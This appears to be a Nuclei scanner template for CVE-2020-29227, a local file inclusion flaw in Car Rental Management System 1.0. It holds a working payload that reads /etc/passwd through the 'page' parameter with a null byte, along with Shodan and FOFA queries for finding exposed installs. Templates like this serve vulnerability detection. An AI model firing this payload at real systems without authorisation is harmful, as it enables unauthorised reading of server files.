CVE-2020-29227: Car Rental Management System 1.0 - Local File Inclusion

id: CVE-2020-29227

info:
  name: Car Rental Management System 1.0 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the "page" parameter, leading to code execution.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in the Car Rental Management System 1.0.
  reference:
    - https://loopspell.medium.com/cve-2020-29227-unauthenticated-local-file-inclusion-7d3bd2c5c6a5
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29227
    - https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29227
    epss-score: 0.92715
    epss-percentile: 0.99739
    cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: car_rental_management_system_project
    product: car_rental_management_system
    shodan-query: http.html:"car rental management system"
    fofa-query: body="car rental management system"
  tags: cve,cve2020,lfi,car_rental_management_system_project,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=/etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d1796deabd797b5065bd3e5ae959cb54ecd0262ffc80478c2ad48ee4a3318d080221009bf05073eecbf176153ca76e68095cdb7cc27dbb8f75e6c9d0d838a1651ca313:922c64590222798bb761d5b6d8e72950